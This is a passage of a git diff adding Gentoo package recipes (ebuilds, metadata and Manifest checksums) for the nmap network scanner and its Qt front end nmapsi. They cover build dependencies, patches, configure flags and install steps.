+<flag name="ncat">Install the ncat utility</flag>
+<flag name="ndiff">Install the ndiff utility</flag>
+<flag name="nmap-update">Install nmap-update, which uses <pkg>dev-vcs/subversion</pkg> to update nmap scripts in your home directory</flag>
+<flag name="nping">Install the nping utility</flag>
+<flag name="nse">Include support for the Nmap Scripting Engine (NSE)</flag>
+<flag name="zenmap">Install the GTK+ based nmap GUI, zenmap</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/nmap/nmap-6.47-r1.ebuild b/net-analyzer/nmap/nmap-6.47-r1.ebuild
new file mode 100644
index 000000000000..447e5ee930f0
--- /dev/null
+++ b/net-analyzer/nmap/nmap-6.47-r1.ebuild
@@ -0,0 +1,153 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+PYTHON_REQ_USE="sqlite,xml"
+inherit eutils flag-o-matic python-single-r1 toolchain-funcs
+
+MY_P=${P/_beta/BETA}
+
+DESCRIPTION="A utility for network discovery and security auditing"
+HOMEPAGE="http://nmap.org/"
+SRC_URI="
+ http://nmap.org/dist/${MY_P}.tar.bz2
+ http://dev.gentoo.org/~jer/nmap-logo-64.png
+"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm hppa ia64 ~mips ppc ppc64 ~s390 ~sh sparc x86 ~x86-fbsd ~amd64-linux ~arm-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos ~sparc-solaris ~x86-solaris"
+
+IUSE="ipv6 +lua system-lua ncat ndiff nls nmap-update nping ssl zenmap"
+NMAP_LINGUAS=( de es fr hr hu id it ja pl pt_BR pt_PT ro ru sk zh )
+IUSE+=" ${NMAP_LINGUAS[@]/#/linguas_}"
+
+REQUIRED_USE="
+ system-lua? ( lua )
+ ndiff? ( ${PYTHON_REQUIRED_USE} )
+ zenmap? ( ${PYTHON_REQUIRED_USE} )
+"
+
+RDEPEND="
+ dev-libs/liblinear
+ dev-libs/libpcre
+ net-libs/libpcap[ipv6?]
+ zenmap? (
+ dev-python/pygtk:2[${PYTHON_USEDEP}]
+ ${PYTHON_DEPS}
+ )
+ system-lua? ( >=dev-lang/lua-5.2[deprecated] )
+ ndiff? ( ${PYTHON_DEPS} )
+ nls? ( virtual/libintl )
+ nmap-update? ( dev-libs/apr dev-vcs/subversion )
+ ssl? ( dev-libs/openssl:0= )
+"
+DEPEND="
+ ${RDEPEND}
+ nls? ( sys-devel/gettext )
+"
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ if use ndiff || use zenmap; then
+ python-single-r1_pkg_setup
+ fi
+}
+
+src_unpack() {
+ # prevent unpacking the logo
+ unpack ${MY_P}.tar.bz2
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-4.75-nolua.patch \
+ "${FILESDIR}"/${PN}-5.10_beta1-string.patch \
+ "${FILESDIR}"/${PN}-5.21-python.patch \
+ "${FILESDIR}"/${PN}-6.01-make.patch \
+ "${FILESDIR}"/${PN}-6.25-liblua-ar.patch \
+ "${FILESDIR}"/${PN}-6.46-uninstaller.patch \
+ "${FILESDIR}"/${PN}-6.47-no-libnl.patch \
+ "${FILESDIR}"/${PN}-6.47-no-FORTIFY_SOURCE.patch
+
+ if use nls; then
+ local lingua=''
+ for lingua in ${NMAP_LINGUAS}; do
+ if ! use linguas_${lingua}; then
+ rm -rf zenmap/share/zenmap/locale/${lingua}
+ rm -f zenmap/share/zenmap/locale/${lingua}.po
+ fi
+ done
+ else
+ # configure/make ignores --disable-nls
+ for lingua in ${NMAP_LINGUAS}; do
+ rm -rf zenmap/share/zenmap/locale/${lingua}
+ rm -f zenmap/share/zenmap/locale/${lingua}.po
+ done
+ fi
+
+ sed -i \
+ -e '/^ALL_LINGUAS =/{s|$| id|g;s|jp|ja|g}' \
+ Makefile.in || die
+
+ # Fix desktop files wrt bug #432714
+ sed -i \
+ -e '/^Encoding/d' \
+ -e 's|^Categories=.*|Categories=Network;System;Security;|g' \
+ zenmap/install_scripts/unix/zenmap-root.desktop \
+ zenmap/install_scripts/unix/zenmap.desktop || die
+
+ epatch_user
+}
+
+src_configure() {
+ # The bundled libdnet is incompatible with the version available in the
+ # tree, so we cannot use the system library here.
+ econf \
+ $(use_enable ipv6) \
+ $(use_enable nls) \
+ $(use_with zenmap) \
+ $(usex lua --with-liblua=$(usex system-lua /usr included '' '') --without-liblua) \
+ $(use_with ncat) \
+ $(use_with ndiff) \
+ $(use_with nmap-update) \
+ $(use_with nping) \
+ $(use_with ssl openssl) \
+ --with-libdnet=included \
+ --with-pcre=/usr
+ # --with-liblinear=/usr \
+ # Commented because configure does weird things, while autodetection works
+}
+
+src_compile() {
+ emake \
+ AR=$(tc-getAR) \
+ RANLIB=$(tc-getRANLIB )
+}
+
+src_install() {
+ LC_ALL=C emake -j1 \
+ DESTDIR="${D}" \
+ STRIP=: \
+ nmapdatadir="${EPREFIX}"/usr/share/nmap \
+ install
+ if use nmap-update;then
+ LC_ALL=C emake -j1 \
+ -C nmap-update \
+ DESTDIR="${D}" \
+ STRIP=: \
+ nmapdatadir="${EPREFIX}"/usr/share/nmap \
+ install
+ fi
+
+ dodoc CHANGELOG HACKING docs/README docs/*.txt
+
+ if use zenmap; then
+ doicon "${DISTDIR}/nmap-logo-64.png"
+ python_optimize
+ fi
+}
diff --git a/net-analyzer/nmap/nmap-6.47-r2.ebuild b/net-analyzer/nmap/nmap-6.47-r2.ebuild
new file mode 100644
index 000000000000..d20c06ca4bc6
--- /dev/null
+++ b/net-analyzer/nmap/nmap-6.47-r2.ebuild
@@ -0,0 +1,153 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+PYTHON_REQ_USE="sqlite,xml"
+inherit eutils flag-o-matic python-single-r1 toolchain-funcs
+
+MY_P=${P/_beta/BETA}
+
+DESCRIPTION="A utility for network discovery and security auditing"
+HOMEPAGE="http://nmap.org/"
+SRC_URI="
+ http://nmap.org/dist/${MY_P}.tar.bz2
+ http://dev.gentoo.org/~jer/nmap-logo-64.png
+"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~amd64-linux ~arm-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos ~sparc-solaris ~x86-solaris"
+
+IUSE="ipv6 +lua system-lua ncat ndiff nls nmap-update nping ssl zenmap"
+NMAP_LINGUAS=( de fr hr it ja pl pt_BR ru )
+IUSE+=" ${NMAP_LINGUAS[@]/#/linguas_}"
+
+REQUIRED_USE="
+ system-lua? ( lua )
+ ndiff? ( ${PYTHON_REQUIRED_USE} )
+ zenmap? ( ${PYTHON_REQUIRED_USE} )
+"
+
+RDEPEND="
+ dev-libs/liblinear
+ dev-libs/libpcre
+ net-libs/libpcap[ipv6?]
+ zenmap? (
+ dev-python/pygtk:2[${PYTHON_USEDEP}]
+ ${PYTHON_DEPS}
+ )
+ system-lua? ( >=dev-lang/lua-5.2[deprecated] )
+ ndiff? ( ${PYTHON_DEPS} )
+ nls? ( virtual/libintl )
+ nmap-update? ( dev-libs/apr dev-vcs/subversion )
+ ssl? ( dev-libs/openssl:0= )
+"
+DEPEND="
+ ${RDEPEND}
+ nls? ( sys-devel/gettext )
+"
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ if use ndiff || use zenmap; then
+ python-single-r1_pkg_setup
+ fi
+}
+
+src_unpack() {
+ # prevent unpacking the logo
+ unpack ${MY_P}.tar.bz2
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-4.75-nolua.patch \
+ "${FILESDIR}"/${PN}-5.10_beta1-string.patch \
+ "${FILESDIR}"/${PN}-5.21-python.patch \
+ "${FILESDIR}"/${PN}-6.01-make.patch \
+ "${FILESDIR}"/${PN}-6.25-liblua-ar.patch \
+ "${FILESDIR}"/${PN}-6.46-uninstaller.patch \
+ "${FILESDIR}"/${PN}-6.47-no-libnl.patch \
+ "${FILESDIR}"/${PN}-6.47-no-FORTIFY_SOURCE.patch
+
+ if use nls; then
+ local lingua=''
+ for lingua in ${NMAP_LINGUAS[@]}; do
+ if ! use linguas_${lingua}; then
+ rm -r zenmap/share/zenmap/locale/${lingua} || die
+ rm zenmap/share/zenmap/locale/${lingua}.po || die
+ fi
+ done
+ else
+ # configure/make ignores --disable-nls
+ for lingua in ${NMAP_LINGUAS[@]}; do
+ rm -r zenmap/share/zenmap/locale/${lingua} || die
+ rm zenmap/share/zenmap/locale/${lingua}.po || die
+ done
+ fi
+
+ sed -i \
+ -e '/^ALL_LINGUAS =/{s|$| id|g;s|jp|ja|g}' \
+ Makefile.in || die
+
+ # Fix desktop files wrt bug #432714
+ sed -i \
+ -e '/^Encoding/d' \
+ -e 's|^Categories=.*|Categories=Network;System;Security;|g' \
+ zenmap/install_scripts/unix/zenmap-root.desktop \
+ zenmap/install_scripts/unix/zenmap.desktop || die
+
+ epatch_user
+}
+
+src_configure() {
+ # The bundled libdnet is incompatible with the version available in the
+ # tree, so we cannot use the system library here.
+ econf \
+ $(use_enable ipv6) \
+ $(use_enable nls) \
+ $(use_with zenmap) \
+ $(usex lua --with-liblua=$(usex system-lua /usr included '' '') --without-liblua) \
+ $(use_with ncat) \
+ $(use_with ndiff) \
+ $(use_with nmap-update) \
+ $(use_with nping) \
+ $(use_with ssl openssl) \
+ --with-libdnet=included \
+ --with-pcre=/usr
+ # --with-liblinear=/usr \
+ # Commented because configure does weird things, while autodetection works
+}
+
+src_compile() {
+ emake \
+ AR=$(tc-getAR) \
+ RANLIB=$(tc-getRANLIB )
+}
+
+src_install() {
+ LC_ALL=C emake -j1 \
+ DESTDIR="${D}" \
+ STRIP=: \
+ nmapdatadir="${EPREFIX}"/usr/share/nmap \
+ install
+ if use nmap-update;then
+ LC_ALL=C emake -j1 \
+ -C nmap-update \
+ DESTDIR="${D}" \
+ STRIP=: \
+ nmapdatadir="${EPREFIX}"/usr/share/nmap \
+ install
+ fi
+
+ dodoc CHANGELOG HACKING docs/README docs/*.txt
+
+ if use zenmap; then
+ doicon "${DISTDIR}/nmap-logo-64.png"
+ python_optimize
+ fi
+}
diff --git a/net-analyzer/nmap/nmap-6.47-r3.ebuild b/net-analyzer/nmap/nmap-6.47-r3.ebuild
new file mode 100644
index 000000000000..71a53b418bd2
--- /dev/null
+++ b/net-analyzer/nmap/nmap-6.47-r3.ebuild
@@ -0,0 +1,154 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+PYTHON_REQ_USE="sqlite,xml"
+inherit eutils flag-o-matic python-single-r1 toolchain-funcs
+
+MY_P=${P/_beta/BETA}
+
+DESCRIPTION="A utility for network discovery and security auditing"
+HOMEPAGE="http://nmap.org/"
+SRC_URI="
+ http://nmap.org/dist/${MY_P}.tar.bz2
+ http://dev.gentoo.org/~jer/nmap-logo-64.png
+"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~amd64-linux ~arm-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos ~sparc-solaris ~x86-solaris"
+
+IUSE="ipv6 +nse system-lua ncat ndiff nls nmap-update nping ssl zenmap"
+NMAP_LINGUAS=( de fr hr it ja pl pt_BR ru )
+IUSE+=" ${NMAP_LINGUAS[@]/#/linguas_}"
+
+REQUIRED_USE="
+ system-lua? ( nse )
+ ndiff? ( ${PYTHON_REQUIRED_USE} )
+ zenmap? ( ${PYTHON_REQUIRED_USE} )
+"
+
+RDEPEND="
+ dev-libs/liblinear
+ dev-libs/libpcre
+ net-libs/libpcap[ipv6?]
+ zenmap? (
+ dev-python/pygtk:2[${PYTHON_USEDEP}]
+ ${PYTHON_DEPS}
+ )
+ system-lua? ( >=dev-lang/lua-5.2[deprecated] )
+ ndiff? ( ${PYTHON_DEPS} )
+ nls? ( virtual/libintl )
+ nmap-update? ( dev-libs/apr dev-vcs/subversion )
+ ssl? ( dev-libs/openssl:0= )
+"
+DEPEND="
+ ${RDEPEND}
+ nls? ( sys-devel/gettext )
+"
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ if use ndiff || use zenmap; then
+ python-single-r1_pkg_setup
+ fi
+}
+
+src_unpack() {
+ # prevent unpacking the logo
+ unpack ${MY_P}.tar.bz2
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-4.75-nolua.patch \
+ "${FILESDIR}"/${PN}-5.10_beta1-string.patch \
+ "${FILESDIR}"/${PN}-5.21-python.patch \
+ "${FILESDIR}"/${PN}-6.01-make.patch \
+ "${FILESDIR}"/${PN}-6.25-liblua-ar.patch \
+ "${FILESDIR}"/${PN}-6.46-uninstaller.patch \
+ "${FILESDIR}"/${PN}-6.47-no-libnl.patch \
+ "${FILESDIR}"/${PN}-6.47-no-FORTIFY_SOURCE.patch \
+ "${FILESDIR}"/${PN}-6.47-ncat-lua.patch
+
+ if use nls; then
+ local lingua=''
+ for lingua in ${NMAP_LINGUAS[@]}; do
+ if ! use linguas_${lingua}; then
+ rm -r zenmap/share/zenmap/locale/${lingua} || die
+ rm zenmap/share/zenmap/locale/${lingua}.po || die
+ fi
+ done
+ else
+ # configure/make ignores --disable-nls
+ for lingua in ${NMAP_LINGUAS[@]}; do
+ rm -r zenmap/share/zenmap/locale/${lingua} || die
+ rm zenmap/share/zenmap/locale/${lingua}.po || die
+ done
+ fi
+
+ sed -i \
+ -e '/^ALL_LINGUAS =/{s|$| id|g;s|jp|ja|g}' \
+ Makefile.in || die
+
+ # Fix desktop files wrt bug #432714
+ sed -i \
+ -e '/^Encoding/d' \
+ -e 's|^Categories=.*|Categories=Network;System;Security;|g' \
+ zenmap/install_scripts/unix/zenmap-root.desktop \
+ zenmap/install_scripts/unix/zenmap.desktop || die
+
+ epatch_user
+}
+
+src_configure() {
+ # The bundled libdnet is incompatible with the version available in the
+ # tree, so we cannot use the system library here.
+ econf \
+ $(use_enable ipv6) \
+ $(use_enable nls) \
+ $(use_with zenmap) \
+ $(usex nse --with-liblua=$(usex system-lua /usr included '' '') --without-liblua) \
+ $(use_with ncat) \
+ $(use_with ndiff) \
+ $(use_with nmap-update) \
+ $(use_with nping) \
+ $(use_with ssl openssl) \
+ --with-libdnet=included \
+ --with-pcre=/usr
+ # --with-liblinear=/usr \
+ # Commented because configure does weird things, while autodetection works
+}
+
+src_compile() {
+ emake \
+ AR=$(tc-getAR) \
+ RANLIB=$(tc-getRANLIB )
+}
+
+src_install() {
+ LC_ALL=C emake -j1 \
+ DESTDIR="${D}" \
+ STRIP=: \
+ nmapdatadir="${EPREFIX}"/usr/share/nmap \
+ install
+ if use nmap-update;then
+ LC_ALL=C emake -j1 \
+ -C nmap-update \
+ DESTDIR="${D}" \
+ STRIP=: \
+ nmapdatadir="${EPREFIX}"/usr/share/nmap \
+ install
+ fi
+
+ dodoc CHANGELOG HACKING docs/README docs/*.txt
+
+ if use zenmap; then
+ doicon "${DISTDIR}/nmap-logo-64.png"
+ python_optimize
+ fi
+}
diff --git a/net-analyzer/nmap/nmap-6.49_beta2.ebuild b/net-analyzer/nmap/nmap-6.49_beta2.ebuild
new file mode 100644
index 000000000000..8d37ae4ac1ac
--- /dev/null
+++ b/net-analyzer/nmap/nmap-6.49_beta2.ebuild
@@ -0,0 +1,154 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+PYTHON_REQ_USE="sqlite,xml"
+inherit eutils flag-o-matic python-single-r1 toolchain-funcs
+
+MY_P=${P/_beta/BETA}
+
+DESCRIPTION="A utility for network discovery and security auditing"
+HOMEPAGE="http://nmap.org/"
+SRC_URI="
+ http://nmap.org/dist/${MY_P}.tar.bz2
+ http://dev.gentoo.org/~jer/nmap-logo-64.png
+"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~x86-fbsd ~amd64-linux ~arm-linux ~x86-linux ~ppc-macos ~x64-macos ~x86-macos ~sparc-solaris ~x86-solaris"
+
+IUSE="ipv6 +nse system-lua ncat ndiff nls nmap-update nping ssl zenmap"
+NMAP_LINGUAS=( de fr hr it ja pl pt_BR ru )
+IUSE+=" ${NMAP_LINGUAS[@]/#/linguas_}"
+
+REQUIRED_USE="
+ system-lua? ( nse )
+ ndiff? ( ${PYTHON_REQUIRED_USE} )
+ zenmap? ( ${PYTHON_REQUIRED_USE} )
+"
+
+RDEPEND="
+ dev-libs/liblinear
+ dev-libs/libpcre
+ net-libs/libpcap[ipv6?]
+ zenmap? (
+ dev-python/pygtk:2[${PYTHON_USEDEP}]
+ ${PYTHON_DEPS}
+ )
+ system-lua? ( >=dev-lang/lua-5.2[deprecated] )
+ ndiff? ( ${PYTHON_DEPS} )
+ nls? ( virtual/libintl )
+ nmap-update? ( dev-libs/apr dev-vcs/subversion )
+ ssl? ( dev-libs/openssl:0= )
+"
+DEPEND="
+ ${RDEPEND}
+ nls? ( sys-devel/gettext )
+"
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ if use ndiff || use zenmap; then
+ python-single-r1_pkg_setup
+ fi
+}
+
+src_unpack() {
+ # prevent unpacking the logo
+ unpack ${MY_P}.tar.bz2
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-4.75-nolua.patch \
+ "${FILESDIR}"/${PN}-5.10_beta1-string.patch \
+ "${FILESDIR}"/${PN}-5.21-python.patch \
+ "${FILESDIR}"/${PN}-6.01-make.patch \
+ "${FILESDIR}"/${PN}-6.25-liblua-ar.patch \
+ "${FILESDIR}"/${PN}-6.46-uninstaller.patch \
+ "${FILESDIR}"/${PN}-6.47-no-libnl.patch \
+ "${FILESDIR}"/${PN}-6.47-ncat-lua.patch \
+ "${FILESDIR}"/${PN}-6.49-no-FORTIFY_SOURCE.patch
+
+ if use nls; then
+ local lingua=''
+ for lingua in ${NMAP_LINGUAS[@]}; do
+ if ! use linguas_${lingua}; then
+ rm -r zenmap/share/zenmap/locale/${lingua} || die
+ rm zenmap/share/zenmap/locale/${lingua}.po || die
+ fi
+ done
+ else
+ # configure/make ignores --disable-nls
+ for lingua in ${NMAP_LINGUAS[@]}; do
+ rm -r zenmap/share/zenmap/locale/${lingua} || die
+ rm zenmap/share/zenmap/locale/${lingua}.po || die
+ done
+ fi
+
+ sed -i \
+ -e '/^ALL_LINGUAS =/{s|$| id|g;s|jp|ja|g}' \
+ Makefile.in || die
+
+ # Fix desktop files wrt bug #432714
+ sed -i \
+ -e '/^Encoding/d' \
+ -e 's|^Categories=.*|Categories=Network;System;Security;|g' \
+ zenmap/install_scripts/unix/zenmap-root.desktop \
+ zenmap/install_scripts/unix/zenmap.desktop || die
+
+ epatch_user
+}
+
+src_configure() {
+ # The bundled libdnet is incompatible with the version available in the
+ # tree, so we cannot use the system library here.
+ econf \
+ $(use_enable ipv6) \
+ $(use_enable nls) \
+ $(use_with zenmap) \
+ $(usex nse --with-liblua=$(usex system-lua /usr included '' '') --without-liblua) \
+ $(use_with ncat) \
+ $(use_with ndiff) \
+ $(use_with nmap-update) \
+ $(use_with nping) \
+ $(use_with ssl openssl) \
+ --with-libdnet=included \
+ --with-pcre=/usr
+ # --with-liblinear=/usr \
+ # Commented because configure does weird things, while autodetection works
+}
+
+src_compile() {
+ emake \
+ AR=$(tc-getAR) \
+ RANLIB=$(tc-getRANLIB )
+}
+
+src_install() {
+ LC_ALL=C emake -j1 \
+ DESTDIR="${D}" \
+ STRIP=: \
+ nmapdatadir="${EPREFIX}"/usr/share/nmap \
+ install
+ if use nmap-update;then
+ LC_ALL=C emake -j1 \
+ -C nmap-update \
+ DESTDIR="${D}" \
+ STRIP=: \
+ nmapdatadir="${EPREFIX}"/usr/share/nmap \
+ install
+ fi
+
+ dodoc CHANGELOG HACKING docs/README docs/*.txt
+
+ if use zenmap; then
+ doicon "${DISTDIR}/nmap-logo-64.png"
+ python_optimize
+ fi
+}
diff --git a/net-analyzer/nmap/nmap-9999.ebuild b/net-analyzer/nmap/nmap-9999.ebuild
new file mode 100644
index 000000000000..a7503b32b4d7
--- /dev/null
+++ b/net-analyzer/nmap/nmap-9999.ebuild
@@ -0,0 +1,147 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PYTHON_COMPAT=( python2_7 )
+PYTHON_REQ_USE="sqlite,xml"
+inherit eutils flag-o-matic git-r3 python-single-r1 toolchain-funcs user
+
+MY_P=${P/_beta/BETA}
+
+DESCRIPTION="A utility for network discovery and security auditing"
+HOMEPAGE="http://nmap.org/"
+
+EGIT_REPO_URI="https://github.com/nmap/nmap"
+SRC_URI="http://dev.gentoo.org/~jer/nmap-logo-64.png"
+
+LICENSE="GPL-2"
+SLOT="0"
+
+IUSE="ipv6 +nse system-lua ncat ndiff nls nmap-update nping ssl zenmap"
+NMAP_LINGUAS=( de fr hr it ja pl pt_BR ru zh )
+IUSE+=" ${NMAP_LINGUAS[@]/#/linguas_}"
+
+REQUIRED_USE="
+ system-lua? ( nse )
+ ndiff? ( ${PYTHON_REQUIRED_USE} )
+ zenmap? ( ${PYTHON_REQUIRED_USE} )
+"
+
+RDEPEND="
+ dev-libs/liblinear
+ dev-libs/libpcre
+ net-libs/libpcap[ipv6?]
+ zenmap? (
+ dev-python/pygtk:2[${PYTHON_USEDEP}]
+ ${PYTHON_DEPS}
+ )
+ system-lua? ( >=dev-lang/lua-5.2[deprecated] )
+ ndiff? ( ${PYTHON_DEPS} )
+ nls? ( virtual/libintl )
+ nmap-update? ( dev-libs/apr dev-vcs/subversion )
+ ssl? ( dev-libs/openssl:0= )
+"
+DEPEND="
+ ${RDEPEND}
+ nls? ( sys-devel/gettext )
+"
+
+S="${WORKDIR}/${MY_P}"
+
+pkg_setup() {
+ if use ndiff || use zenmap; then
+ python-single-r1_pkg_setup
+ fi
+}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PN}-4.75-nolua.patch \
+ "${FILESDIR}"/${PN}-5.10_beta1-string.patch \
+ "${FILESDIR}"/${PN}-5.21-python.patch \
+ "${FILESDIR}"/${PN}-6.01-make.patch \
+ "${FILESDIR}"/${PN}-6.25-liblua-ar.patch \
+ "${FILESDIR}"/${PN}-6.46-uninstaller.patch \
+ "${FILESDIR}"/${PN}-6.47-no-libnl.patch \
+ "${FILESDIR}"/${PN}-no-FORTIFY_SOURCE.patch \
+ "${FILESDIR}"/${PN}-6.47-ncat-lua.patch
+
+ if use nls; then
+ local lingua=''
+ for lingua in ${NMAP_LINGUAS[@]}; do
+ if ! use linguas_${lingua}; then
+ rm -r zenmap/share/zenmap/locale/${lingua} || die
+ rm zenmap/share/zenmap/locale/${lingua}.po || die
+ fi
+ done
+ else
+ # configure/make ignores --disable-nls
+ for lingua in ${NMAP_LINGUAS[@]}; do
+ rm -r zenmap/share/zenmap/locale/${lingua} || die
+ rm zenmap/share/zenmap/locale/${lingua}.po || die
+ done
+ fi
+
+ sed -i \
+ -e '/^ALL_LINGUAS =/{s|$| id|g;s|jp|ja|g}' \
+ Makefile.in || die
+
+ # Fix desktop files wrt bug #432714
+ sed -i \
+ -e '/^Encoding/d' \
+ -e 's|^Categories=.*|Categories=Network;System;Security;|g' \
+ zenmap/install_scripts/unix/zenmap-root.desktop \
+ zenmap/install_scripts/unix/zenmap.desktop || die
+
+ epatch_user
+}
+
+src_configure() {
+ # The bundled libdnet is incompatible with the version available in the
+ # tree, so we cannot use the system library here.
+ econf \
+ $(use_enable ipv6) \
+ $(use_enable nls) \
+ $(use_with zenmap) \
+ $(usex nse --with-liblua=$(usex system-lua /usr included '' '') --without-liblua) \
+ $(use_with ncat) \
+ $(use_with ndiff) \
+ $(use_with nmap-update) \
+ $(use_with nping) \
+ $(use_with ssl openssl) \
+ --with-libdnet=included \
+ --with-pcre=/usr
+ # --with-liblinear=/usr \
+ # Commented because configure does weird things, while autodetection works
+}
+
+src_compile() {
+ emake \
+ AR=$(tc-getAR) \
+ RANLIB=$(tc-getRANLIB )
+}
+
+src_install() {
+ LC_ALL=C emake -j1 \
+ DESTDIR="${D}" \
+ STRIP=: \
+ nmapdatadir="${EPREFIX}"/usr/share/nmap \
+ install
+ if use nmap-update;then
+ LC_ALL=C emake -j1 \
+ -C nmap-update \
+ DESTDIR="${D}" \
+ STRIP=: \
+ nmapdatadir="${EPREFIX}"/usr/share/nmap \
+ install
+ fi
+
+ dodoc CHANGELOG HACKING docs/README docs/*.txt
+
+ if use zenmap; then
+ doicon "${DISTDIR}/nmap-logo-64.png"
+ python_optimize
+ fi
+}
diff --git a/net-analyzer/nmapsi/Manifest b/net-analyzer/nmapsi/Manifest
new file mode 100644
index 000000000000..b410ee56c5f2
--- /dev/null
+++ b/net-analyzer/nmapsi/Manifest
@@ -0,0 +1,2 @@
+DIST nmapsi4-0.4.1.tar.xz 3139252 SHA256 45482842f414179eb1a9ea0ae88fe4a43d59a54341b97a82be605b43cec41c9a SHA512 243e241a80069d9a7ff7c38c6ed12656385f13250ff707ff84f569807916aab11f14c784210d8cb3047519d80691f5068563c50dac18d74ec9bda8c3f320e802 WHIRLPOOL 99fb464e124ed7fbe2822395cf992aa0bdb49a889cdb855a3a7d03c8da394c3c4e5aadd2aeb2ef08c4383fa3ac396c37a7c26798869e455237e0d8d5e5b23ccc
+DIST nmapsi4-0.4.tar.xz 3138364 SHA256 6b4741656712bfc1eab11f242e4e25268fa52b0bb5efc265f981c5a94a321858 SHA512 b88dc36925020d445b5aa177c48152221f46e8ee82516679d055df609223fc8e1025b60a538cdb2ecfc939580bdd7afe42a9d7968e0b0c255c73cf6a04220182 WHIRLPOOL b64840301520c65269626524872bfc726143dfcd8ad1920f03d8ff010034df2bea9266c8d9c568c1c20ff9844f1c568792d6b4937763ccc0e7d8346fb3091c6d
diff --git a/net-analyzer/nmapsi/metadata.xml b/net-analyzer/nmapsi/metadata.xml
new file mode 100644
index 000000000000..c60e84a8334f
--- /dev/null
+++ b/net-analyzer/nmapsi/metadata.xml
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>qt</herd>
+ <upstream>
+ <remote-id type="google-code">nmapsi4</remote-id>
+ <remote-id type="sourceforge">nmapsi</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/nmapsi/nmapsi-0.4.1.ebuild b/net-analyzer/nmapsi/nmapsi-0.4.1.ebuild
new file mode 100644
index 000000000000..ffb545d0cd18
--- /dev/null
+++ b/net-analyzer/nmapsi/nmapsi-0.4.1.ebuild
@@ -0,0 +1,51 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PLOCALES="ca cs de es fr it ru"
+
+inherit cmake-utils l10n
+
+MY_P=${PN}4-${PV}
+
+DESCRIPTION="A Qt4 frontend to nmap"
+HOMEPAGE="http://www.nmapsi4.org/"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="kde"
+
+DEPEND="
+ dev-qt/qtcore:4
+ dev-qt/qtdbus:4
+ dev-qt/qtgui:4
+ dev-qt/qtwebkit:4
+ kde? ( kde-base/kdelibs:4 )
+"
+RDEPEND="${DEPEND}
+ >=net-analyzer/nmap-6.00
+ net-dns/bind-tools
+"
+
+S=${WORKDIR}/${MY_P}
+
+DOCS=( AUTHORS HACKING NEWS TODO Translation )
+
+src_prepare() {
+ l10n_for_each_disabled_locale_do nmapsi_disable_locale
+}
+
+src_configure() {
+ local mycmakeargs=(
+ $(cmake-utils_use_build kde KDELIBS)
+ )
+ cmake-utils_src_configure
+}
+
+nmapsi_disable_locale() {
+ sed -i -e "/ts\/${PN}4_${1}\.ts/d" src/CMakeLists.txt || die
+}
diff --git a/net-analyzer/nmapsi/nmapsi-0.4.ebuild b/net-analyzer/nmapsi/nmapsi-0.4.ebuild
new file mode 100644
index 000000000000..1df63c17e8d3
--- /dev/null
+++ b/net-analyzer/nmapsi/nmapsi-0.4.ebuild
@@ -0,0 +1,44 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+PLOCALES="ca cs de es fr it ru"
+
+inherit cmake-utils l10n
+
+MY_P=${PN}4-${PV}
+
+DESCRIPTION="A Qt4 frontend to nmap"
+HOMEPAGE="http://www.nmapsi4.org/"
+SRC_URI="mirror://sourceforge/${PN}/${MY_P}.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="kde"
+
+DEPEND="
+ dev-qt/qtcore:4
+ dev-qt/qtdbus:4
+ dev-qt/qtgui:4
+ dev-qt/qtwebkit:4
+ kde? ( kde-base/kdelibs:4 )
+"
+RDEPEND="${DEPEND}
+ >=net-analyzer/nmap-6.00
+ net-dns/bind-tools
+"
+
